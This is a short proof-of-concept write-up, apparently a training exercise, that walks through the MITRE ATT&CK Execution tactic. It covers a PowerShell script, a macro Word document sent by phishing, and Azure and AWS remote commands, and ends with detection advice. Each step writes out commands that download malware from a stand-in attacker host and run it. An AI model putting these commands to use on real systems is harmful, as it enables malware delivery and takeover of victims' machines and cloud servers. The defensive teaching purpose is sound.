# Rishita Shrimali (292)

# Proof of Concept (PoC) – Execution (TA0002)

## 🎯 Tactic: Execution (TA0002)

Goal: Execute malicious code on the target system to gain control and establish a foothold.

## 🔹 Techniques Used

1. T1059 – Command and Scripting Interpreter (PowerShell)  
2. T1204.002 – User Execution: Malicious File  
3. T1651 – Cloud Administration Command

## ⚙ Procedures

### Step 1 – Execute PowerShell Script (T1059)

The attacker prepares a PowerShell script (`payload.ps1`) to download and execute malware:  
Invoke-WebRequest http://attacker.server/malware.exe -OutFile malware.exe  
Start-Process malware.exe  
  
Delivered through phishing link or shared folder.  
Victim runs:  
powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1  
Outcome: Malware executes under user privileges, establishing attacker access.

### Step 2 – Malicious File Execution by User (T1204.002)

A Word document with an embedded macro is crafted:  
Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\share\payload.ps1"  
Sent via phishing email urging user to 'Enable Content.'  
Macro runs PowerShell command, executing the payload.  
Outcome: Malware successfully executed via social engineering.

### Step 3 – Remote Execution via Cloud Administration Command (T1651)

With stolen cloud admin credentials, attacker runs commands on victim’s VM:  
az vm run-command invoke -g ResourceGroup -n VictimVM --command-id RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/malware.exe -OutFile C:\temp\malware.exe; Start-Process C:\temp\malware.exe"  
  
Or with AWS SSM:  
aws ssm send-command --instance-ids i-0123456789abcdef0 --document-name AWS-RunPowerShellScript --parameters 'commands=["Invoke-WebRequest http://attacker/malware.exe -OutFile C:\\temp\\malware.exe","Start-Process C:\\temp\\malware.exe"]'  
Outcome: Malware deployed remotely, no direct user interaction required.

## 📊 Summary

|  |  |  |
| --- | --- | --- |
| Step | Technique ID | Description |
| 1 | T1059 | PowerShell script downloads and runs malware |
| 2 | T1204.002 | User executes malicious macro document |
| 3 | T1651 | Cloud admin command used to execute malware |

## 🛡 Detection & Mitigation

- PowerShell Monitoring: Detect suspicious commands with '-ExecutionPolicy Bypass'.  
- Email Security: Block or sandbox macro-enabled files, train users to avoid enabling macros.  
- Cloud Security: Use least-privilege roles, enable activity logging, monitor remote command executions.

## ✅ Why This PoC Works

• Demonstrates multiple real-world execution methods (local user-driven, automated script, and remote cloud abuse).  
• Shows how attackers chain techniques to increase success probability.  
• Reflects practical adversary tactics observed in real cyberattacks.